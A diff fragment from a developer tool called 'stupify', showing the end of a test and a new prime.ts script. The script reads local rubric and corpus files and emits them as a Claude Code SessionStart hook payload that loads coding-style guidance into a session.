+ expect(readFileSync(join(e.home, '.review', 'CORPUS.md'), 'utf8')).toContain('zod') // taste assembled
105
+ const s = read(e.settings)
106
+ expect(s.hooks.SessionStart[0].hooks[0].command).toContain('prime.ts') // and hook wired
107
+ rmSync(e.home, { recursive: true, force: true })
108
+ rmSync(e.cfg, { recursive: true, force: true })
109
+ })
package/src/prime.ts ADDED
@@ -0,0 +1,50 @@
1
+ #!/usr/bin/env bun
2
+ /**
3
+ * stupify prime — emit the pre-decided taste (rubric + corpus index) as a Claude Code SessionStart hook
4
+ * payload, so a coding session opens already holding your standard instead of only catching slop in review.
5
+ *
6
+ * Dependency-free (node builtins only) ON PURPOSE: `stupify prime --install` drops a copy of THIS file at
7
+ * ~/.stupify/prime.ts and points the hook at it, so the hook runs fast with no global install and no
8
+ * node_modules. Pure file read — no model, no network. It must NEVER break session start: any miss or error
9
+ * emits nothing and exits 0. stdout is ONLY the JSON payload (a stray byte makes Claude Code drop it).
10
+ */
11
+ import { existsSync, readFileSync } from 'node:fs'
12
+ import { homedir } from 'node:os'
13
+ import { join } from 'node:path'
14
+
15
+ const HOME = process.env.STUPIFY_HOME ?? join(homedir(), '.stupify')
16
+
17
+ /** Resolve taste like the reviewer does (the repo you're coding in wins, else the pack taste setup assembled)
18
+ * and build the SessionStart payload. Returns null when no taste is set up — caller emits nothing. */
19
+ export function primePayload(cwd: string = process.cwd(), home: string = HOME): string | null {
20
+ const dir = [join(cwd, '.review'), join(home, '.review')].find(
21
+ (d) => existsSync(join(d, 'RUBRIC.md')) && existsSync(join(d, 'CORPUS.md')),
22
+ )
23
+ if (dir === undefined) return null
24
+ const rubric = readFileSync(join(dir, 'RUBRIC.md'), 'utf8').trim()
25
+ const corpus = readFileSync(join(dir, 'CORPUS.md'), 'utf8').trim()
26
+ const additionalContext = `# Your taste, loaded by stupify — write to this standard
27
+
28
+ You're about to write or change code in this repo. Hold every edit to the standard below BEFORE you write it —
29
+ it's the same taste stupify reviews against, so matching it now is a clean review later.
30
+
31
+ ## What counts as slop here — don't ship it (RUBRIC)
32
+ ${rubric}
33
+
34
+ ## The code yours should look like (CORPUS)
35
+ The links are commit-pinned exemplars — open one only if a finding needs the detail; never paste them in wholesale.
36
+ ${corpus}`
37
+ return JSON.stringify({ hookSpecificOutput: { hookEventName: 'SessionStart', additionalContext } })
38
+ }
39
+
40
+ /** Write the payload to stdout, or nothing. Swallows every error: a hook must never disrupt session start. */
41
+ export function emitPrime(): void {
42
+ try {
43
+ const payload = primePayload()
44
+ if (payload !== null) process.stdout.write(payload)
45
+ } catch {
46
+ /* never break session start */
47
+ }
48
+ }
49
+
50
+ if (import.meta.main) emitPrime() // run directly (the installed hook calls `bun ~/.stupify/prime.ts`)